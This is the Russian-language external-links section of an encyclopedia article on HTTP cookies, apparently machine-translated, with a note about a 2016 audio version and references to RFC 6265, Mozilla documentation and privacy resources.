Этот аудиофайл был создан на основе редакции этой статьи от 28 мая 2016 года и не отражает последующих правок. ( 2016-05-28 )
  • RFC 6265 , текущая официальная спецификация для файлов cookie HTTP
  • HTTP-файлы cookie , Сеть разработчиков Mozilla
  • Использование файлов cookie через ECMAScript , сеть разработчиков Mozilla
  • Как работают файлы cookie в Интернете в HowStuffWorks
  • Файлы cookie в Электронном информационном центре конфиденциальности (EPIC)
  • База знаний Mozilla: файлы cookie
  • Домен cookie, подробно объясните, как домены cookie обрабатываются в текущих основных браузерах.
  • Кража печенья - Майкл Паунд
  • Проверьте файлы cookie на соответствие директиве ЕС о файлах cookie